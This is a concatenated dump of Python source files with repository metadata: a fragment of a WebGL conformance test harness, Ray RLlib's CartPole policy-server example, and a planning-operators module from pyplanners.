_ParseTests(cls, path, version, webgl2_only, folder_min_version): def _ParseTestNameAndVersions(line): line_tokens = line.split(' ') test_name = line_tokens[-1] i = 0 min_version = None max_version = None while i < len(line_tokens): token = line_tokens[i] if token == '--min-version': i += 1 min_version = line_tokens[i] elif token == '--max-version': i += 1 max_version = line_tokens[i] i += 1 return test_name, min_version, max_version test_paths = [] full_path = os.path.normpath( os.path.join(webgl_test_util.conformance_path, path)) if not os.path.exists(full_path): raise Exception('The WebGL conformance test path specified ' + 'does not exist: ' + full_path) with open(full_path, 'r') as f: for line in f: line = line.strip() if not line: continue if line.startswith('//') or line.startswith(' continue test_name, min_version, max_version = _ParseTestNameAndVersions(line) min_version_to_compare = min_version or folder_min_version if (min_version_to_compare and _CompareVersion(version, min_version_to_compare) < 0): continue if max_version and _CompareVersion(version, max_version) > 0: continue if (webgl2_only and not '.txt' in test_name and (not min_version_to_compare or not min_version_to_compare.startswith('2'))): continue include_path = os.path.join(os.path.dirname(path), test_name) if '.txt' in test_name: # We only check min-version >= 2.0.0 for the top level list. test_paths += cls._ParseTests(include_path, version, webgl2_only, min_version_to_compare) else: test_paths.append(include_path) return test_paths @classmethod def GetPlatformTags(cls, browser): tags = super(WebGLConformanceIntegrationTest, cls).GetPlatformTags(browser) tags.extend([['no-asan', 'asan'][cls._is_asan], 'webgl-version-%d' % cls._webgl_version]) if gpu_helper.EXPECTATIONS_DRIVER_TAGS: system_info = browser.GetSystemInfo() if system_info: gpu_info = system_info.gpu driver_vendor = gpu_helper.GetGpuDriverVendor(gpu_info) driver_version = gpu_helper.GetGpuDriverVersion(gpu_info) if driver_vendor and driver_version: driver_vendor = driver_vendor.lower() driver_version = driver_version.lower() # Extract the string of vendor from 'angle (vendor)' matcher = re.compile(r'^angle $([a-z]+)$$') match = matcher.match(driver_vendor) if match: driver_vendor = match.group(1) # Extract the substring before first space/dash/underscore matcher = re.compile(r'^([a-z\d]+)([\s\-_]+[a-z\d]+)+$') match = matcher.match(driver_vendor) if match: driver_vendor = match.group(1) for tag in gpu_helper.EXPECTATIONS_DRIVER_TAGS: match = gpu_helper.MatchDriverTag(tag) assert match if (driver_vendor == match.group(1) and gpu_helper.EvaluateVersionComparison( driver_version, match.group(2), match.group(3), browser.platform.GetOSName(), driver_vendor)): tags.append(tag) return tags @classmethod def ExpectationsFiles(cls): assert cls._webgl_version == 1 or cls._webgl_version == 2 if cls._webgl_version == 1: file_name = 'webgl_conformance_expectations.txt' else: file_name = 'webgl2_conformance_expectations.txt' return [ os.path.join( os.path.dirname(os.path.abspath(__file__)), 'test_expectations', file_name) ] def _GetGPUInfoErrorString(gpu_info): primary_gpu = gpu_info.devices[0] error_str = 'primary gpu=' + primary_gpu.device_string if gpu_info.aux_attributes: gl_renderer = gpu_info.aux_attributes.get('gl_renderer') if gl_renderer: error_str += ', gl_renderer=' + gl_renderer return error_str def _GetExtensionHarnessScript(): return conformance_harness_script + extension_harness_additional_script def load_tests(loader, tests, pattern): del loader, tests, pattern # Unused. return gpu_integration_test.LoadAllTestsInModule(sys.modules[__name__])

true

f7f38644c50cf9d3fe8225cfecb7982366ecd8e9

7,986

py

Python

rllib/examples/serving/cartpole_server.py

linyiyue/ray

90d2456ec70270a1f894ec3ef6f3004533859e03

[ "Apache-2.0" ]

21,382

2016-09-26T23:12:52.000Z

2022-03-31T21:47:45.000Z

rllib/examples/serving/cartpole_server.py

linyiyue/ray

90d2456ec70270a1f894ec3ef6f3004533859e03

[ "Apache-2.0" ]

19,689

2016-09-17T08:21:25.000Z

2022-03-31T23:59:30.000Z

rllib/examples/serving/cartpole_server.py

gramhagen/ray

c18caa4db36d466718bdbcb2229aa0b2dc03da1f

[ "Apache-2.0" ]

4,114

2016-09-23T18:54:01.000Z

2022-03-31T15:07:32.000Z

#!/usr/bin/env python """ Example of running an RLlib policy server, allowing connections from external environment running clients. The server listens on (a simple CartPole env in this case) against an RLlib policy server listening on one or more HTTP-speaking ports. See `cartpole_client.py` in this same directory for how to start any number of clients (after this server has been started). This script will not create any actual env to illustrate that RLlib can run w/o needing an internalized environment. Setup: 1) Start this server: $ python cartpole_server.py --num-workers --[other options] Use --help for help. 2) Run n policy clients: See `cartpole_client.py` on how to do this. The `num-workers` setting will allow you to distribute the incoming feed over n listen sockets (in this example, between 9900 and 990n with n=worker_idx-1). You may connect more than one policy client to any open listen port. """ import argparse import gym import os import ray from ray import tune from ray.rllib.agents.dqn import DQNTrainer from ray.rllib.agents.ppo import PPOTrainer from ray.rllib.env.policy_server_input import PolicyServerInput from ray.rllib.examples.custom_metrics_and_callbacks import MyCallbacks from ray.tune.logger import pretty_print SERVER_ADDRESS = "localhost" # In this example, the user can run the policy server with # n workers, opening up listen ports 9900 - 990n (n = num_workers - 1) # to each of which different clients may connect. SERVER_BASE_PORT = 9900 # + worker-idx - 1 CHECKPOINT_FILE = "last_checkpoint_{}.out" def get_cli_args(): """Create CLI parser and return parsed arguments""" parser = argparse.ArgumentParser() # Example-specific args. parser.add_argument( "--port", type=int, default=SERVER_BASE_PORT, help="The base-port to use (on localhost). " f"Default is {SERVER_BASE_PORT}.") parser.add_argument( "--callbacks-verbose", action="store_true", help="Activates info-messages for different events on " "server/client (episode steps, postprocessing, etc..).") parser.add_argument( "--num-workers", type=int, default=2, help="The number of workers to use. Each worker will create " "its own listening socket for incoming experiences.") parser.add_argument( "--no-restore", action="store_true", help="Do not restore from a previously saved checkpoint (location of " "which is saved in `last_checkpoint_[algo-name].out`).") # General args. parser.add_argument( "--run", default="PPO", choices=["DQN", "PPO"], help="The RLlib-registered algorithm to use.") parser.add_argument("--num-cpus", type=int, default=3) parser.add_argument( "--framework", choices=["tf", "tf2", "tfe", "torch"], default="tf", help="The DL framework specifier.") parser.add_argument( "--stop-iters", type=int, default=200, help="Number of iterations to train.") parser.add_argument( "--stop-timesteps", type=int, default=500000, help="Number of timesteps to train.") parser.add_argument( "--stop-reward", type=float, default=80.0, help="Reward at which we stop training.") parser.add_argument( "--as-test", action="store_true", help="Whether this script should be run as a test: --stop-reward must " "be achieved within --stop-timesteps AND --stop-iters.") parser.add_argument( "--no-tune", action="store_true", help="Run without Tune using a manual train loop instead. Here," "there is no TensorBoard support.") parser.add_argument( "--local-mode", action="store_true", help="Init Ray in local mode for easier debugging.") args = parser.parse_args() print(f"Running with following CLI args: {args}") return args if __name__ == "__main__": args = get_cli_args() ray.init() # `InputReader` generator (returns None if no input reader is needed on # the respective worker). def _input(ioctx): # We are remote worker or we are local worker with num_workers=0: # Create a PolicyServerInput. if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0: return PolicyServerInput( ioctx, SERVER_ADDRESS, args.port + ioctx.worker_index - (1 if ioctx.worker_index > 0 else 0)) # No InputReader (PolicyServerInput) needed. else: return None # Trainer config. Note that this config is sent to the client only in case # the client needs to create its own policy copy for local inference. config = { # Indicate that the Trainer we setup here doesn't need an actual env. # Allow spaces to be determined by user (see below). "env": None, # TODO: (sven) make these settings unnecessary and get the information # about the env spaces from the client. "observation_space": gym.spaces.Box( float("-inf"), float("inf"), (4, )), "action_space": gym.spaces.Discrete(2), # Use the `PolicyServerInput` to generate experiences. "input": _input, # Use n worker processes to listen on different ports. "num_workers": args.num_workers, # Disable OPE, since the rollouts are coming from online clients. "input_evaluation": [], # Create a "chatty" client/server or not. "callbacks": MyCallbacks if args.callbacks_verbose else None, # DL framework to use. "framework": args.framework, # Set to INFO so we'll see the server's actual address:port. "log_level": "INFO", } # DQN. if args.run == "DQN": # Example of using DQN (supports off-policy actions). config.update({ "learning_starts": 100, "timesteps_per_iteration": 200, "n_step": 3, }) config["model"] = { "fcnet_hiddens": [64], "fcnet_activation": "linear", } # PPO. else: # Example of using PPO (does NOT support off-policy actions). config.update({ "rollout_fragment_length": 1000, "train_batch_size": 4000, }) checkpoint_path = CHECKPOINT_FILE.format(args.run) # Attempt to restore from checkpoint, if possible. if not args.no_restore and os.path.exists(checkpoint_path): checkpoint_path = open(checkpoint_path).read() else: checkpoint_path = None # Manual training loop (no Ray tune). if args.no_tune: if args.run == "DQN": trainer = DQNTrainer(config=config) else: trainer = PPOTrainer(config=config) if checkpoint_path: print("Restoring from checkpoint path", checkpoint_path) trainer.restore(checkpoint_path) # Serving and training loop. ts = 0 for _ in range(args.stop_iters): results = trainer.train() print(pretty_print(results)) checkpoint = trainer.save() print("Last checkpoint", checkpoint) with open(checkpoint_path, "w") as f: f.write(checkpoint) if results["episode_reward_mean"] >= args.stop_reward or \ ts >= args.stop_timesteps: break ts += results["timesteps_total"] # Run with Tune for auto env and trainer creation and TensorBoard. else: stop = { "training_iteration": args.stop_iters, "timesteps_total": args.stop_timesteps, "episode_reward_mean": args.stop_reward, } tune.run( args.run, config=config, stop=stop, verbose=2, restore=checkpoint_path)

34.422414

79

0.628475

import argparse import gym import os import ray from ray import tune from ray.rllib.agents.dqn import DQNTrainer from ray.rllib.agents.ppo import PPOTrainer from ray.rllib.env.policy_server_input import PolicyServerInput from ray.rllib.examples.custom_metrics_and_callbacks import MyCallbacks from ray.tune.logger import pretty_print SERVER_ADDRESS = "localhost" SERVER_BASE_PORT = 9900 CHECKPOINT_FILE = "last_checkpoint_{}.out" def get_cli_args(): parser = argparse.ArgumentParser() parser.add_argument( "--port", type=int, default=SERVER_BASE_PORT, help="The base-port to use (on localhost). " f"Default is {SERVER_BASE_PORT}.") parser.add_argument( "--callbacks-verbose", action="store_true", help="Activates info-messages for different events on " "server/client (episode steps, postprocessing, etc..).") parser.add_argument( "--num-workers", type=int, default=2, help="The number of workers to use. Each worker will create " "its own listening socket for incoming experiences.") parser.add_argument( "--no-restore", action="store_true", help="Do not restore from a previously saved checkpoint (location of " "which is saved in `last_checkpoint_[algo-name].out`).") parser.add_argument( "--run", default="PPO", choices=["DQN", "PPO"], help="The RLlib-registered algorithm to use.") parser.add_argument("--num-cpus", type=int, default=3) parser.add_argument( "--framework", choices=["tf", "tf2", "tfe", "torch"], default="tf", help="The DL framework specifier.") parser.add_argument( "--stop-iters", type=int, default=200, help="Number of iterations to train.") parser.add_argument( "--stop-timesteps", type=int, default=500000, help="Number of timesteps to train.") parser.add_argument( "--stop-reward", type=float, default=80.0, help="Reward at which we stop training.") parser.add_argument( "--as-test", action="store_true", help="Whether this script should be run as a test: --stop-reward must " "be achieved within --stop-timesteps AND --stop-iters.") parser.add_argument( "--no-tune", action="store_true", help="Run without Tune using a manual train loop instead. Here," "there is no TensorBoard support.") parser.add_argument( "--local-mode", action="store_true", help="Init Ray in local mode for easier debugging.") args = parser.parse_args() print(f"Running with following CLI args: {args}") return args if __name__ == "__main__": args = get_cli_args() ray.init() def _input(ioctx): if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0: return PolicyServerInput( ioctx, SERVER_ADDRESS, args.port + ioctx.worker_index - (1 if ioctx.worker_index > 0 else 0)) else: return None config = { # Allow spaces to be determined by user (see below). "env": None, # TODO: (sven) make these settings unnecessary and get the information # about the env spaces from the client. "observation_space": gym.spaces.Box( float("-inf"), float("inf"), (4, )), "action_space": gym.spaces.Discrete(2), # Use the `PolicyServerInput` to generate experiences. "input": _input, # Use n worker processes to listen on different ports. "num_workers": args.num_workers, # Disable OPE, since the rollouts are coming from online clients. "input_evaluation": [], # Create a "chatty" client/server or not. "callbacks": MyCallbacks if args.callbacks_verbose else None, # DL framework to use. "framework": args.framework, # Set to INFO so we'll see the server's actual address:port. "log_level": "INFO", } # DQN. if args.run == "DQN": # Example of using DQN (supports off-policy actions). config.update({ "learning_starts": 100, "timesteps_per_iteration": 200, "n_step": 3, }) config["model"] = { "fcnet_hiddens": [64], "fcnet_activation": "linear", } # PPO. else: # Example of using PPO (does NOT support off-policy actions). config.update({ "rollout_fragment_length": 1000, "train_batch_size": 4000, }) checkpoint_path = CHECKPOINT_FILE.format(args.run) # Attempt to restore from checkpoint, if possible. if not args.no_restore and os.path.exists(checkpoint_path): checkpoint_path = open(checkpoint_path).read() else: checkpoint_path = None # Manual training loop (no Ray tune). if args.no_tune: if args.run == "DQN": trainer = DQNTrainer(config=config) else: trainer = PPOTrainer(config=config) if checkpoint_path: print("Restoring from checkpoint path", checkpoint_path) trainer.restore(checkpoint_path) # Serving and training loop. ts = 0 for _ in range(args.stop_iters): results = trainer.train() print(pretty_print(results)) checkpoint = trainer.save() print("Last checkpoint", checkpoint) with open(checkpoint_path, "w") as f: f.write(checkpoint) if results["episode_reward_mean"] >= args.stop_reward or \ ts >= args.stop_timesteps: break ts += results["timesteps_total"] # Run with Tune for auto env and trainer creation and TensorBoard. else: stop = { "training_iteration": args.stop_iters, "timesteps_total": args.stop_timesteps, "episode_reward_mean": args.stop_reward, } tune.run( args.run, config=config, stop=stop, verbose=2, restore=checkpoint_path)

true

f7f386c2f1e4e83cee0938597c36c1180de0a8d2

2,885

py

Python

sas/operators.py

yijiangh/pyplanners

ef1ae33e233f20cd93ce03cba363b0f14fd078bc

[ "MIT" ]

23

2017-11-13T23:56:25.000Z

2022-02-12T08:56:28.000Z

sas/operators.py

yijiangh/pyplanners

ef1ae33e233f20cd93ce03cba363b0f14fd078bc

[ "MIT" ]

1

2022-01-04T17:07:47.000Z

sas/operators.py

yijiangh/pyplanners

ef1ae33e233f20cd93ce03cba363b0f14fd078bc

[ "MIT" ]

6

2017-07-13T07:21:13.000Z

2022-03-25T08:21:57.000Z

from .states import * class Operator(PartialState): def __init__(self, args): for k, v in args.items(): setattr(self, k, v) self.args = args # TODO - use FrozenDict instead self._frozen_args = frozenset(args.items()) self._hash = None self.conditions = None self.effects = None self.test = lambda state: True def eff(self): return self.effects.items() def apply(self, state): return State(merge_dicts(state.values, self.effects)) def __call__(self, state): if state not in self: return None return self.apply(state) def __iter__(self): yield self def __len__(self): return 1 def __eq__(self, other): return (type(self) == type(other)) and (self._frozen_args == other._frozen_args) def __ne__(self, other): return not self == other def __hash__(self): if self._hash is None: self._hash = hash((self.__class__, self._frozen_args)) return self._hash def __str__(self): return self.__class__.__name__ + str_object(self.args) __repr__ = __str__ class Action(Operator): cost = 1 class Axiom(Operator): cost = 0 ########################################################################### def apply_image(state, operator): image_values = dict(state.values) # NOTE - doesn't consider implicit values for v, val in operator.cond(): assert image_values.get(v, val) == val image_values[v] = val for v, val in operator.eff(): image_values[v] = val return State(image_values) def apply_preimage(partial_state, operator): preimage_values = dict(partial_state.conditions) # NOTE - doesn't consider implicit values for v, val in operator.eff(): assert preimage_values.get(v, val) == val if v in preimage_values: del preimage_values[v] for v, val in operator.cond(): assert preimage_values.get(v, val) == val preimage_values[v] = val return Goal(preimage_values) ########################################################################### # NOTE - preconditions and effects can be seen more symmetrically if a precondition must be an effect when not overwritten def image(state, operators): image_state = state.values.copy() # NOTE - doesn't consider implicit values for operator in operators: for v, val in operator.pre(): assert image_state.get(v, default=val) == val image_state[v] = val for v, val in operator.eff(): image_state[v] = val return image_state def preimage(state, operators): preimage_state = state.values.copy() # NOTE - doesn't consider implicit values for operator in operators: for v, val in operator.eff(): assert preimage_state.get(v, default=val) == val if v in preimage_state: del preimage_state[v] for v, val in operator.pre(): assert preimage_state.get(v, default=val) == val preimage_state[v] = val return preimage_state

32.784091

122

0.652686

from .states import * class Operator(PartialState): def __init__(self, args): for k, v in args.items(): setattr(self, k, v) self.args = args self._frozen_args = frozenset(args.items()) self._hash = None self.conditions = None self.effects = None self.test = lambda state: True def eff(self): return self.effects.items() def apply(self, state): return State(merge_dicts(state.values, self.effects)) def __call__(self, state): if state not in self: return None return self.apply(state) def __iter__(self): yield self def __len__(self): return 1 def __eq__(self, other): return (type(self) == type(other)) and (self._frozen_args == other._frozen_args) def __ne__(self, other): return not self == other def __hash__(self): if self._hash is None: self._hash = hash((self.__class__, self._frozen_args)) return self._hash def __str__(self): return self.__class__.__name__ + str_object(self.args) __repr__ = __str__ class Action(Operator): cost = 1 class Axiom(Operator): cost = 0

true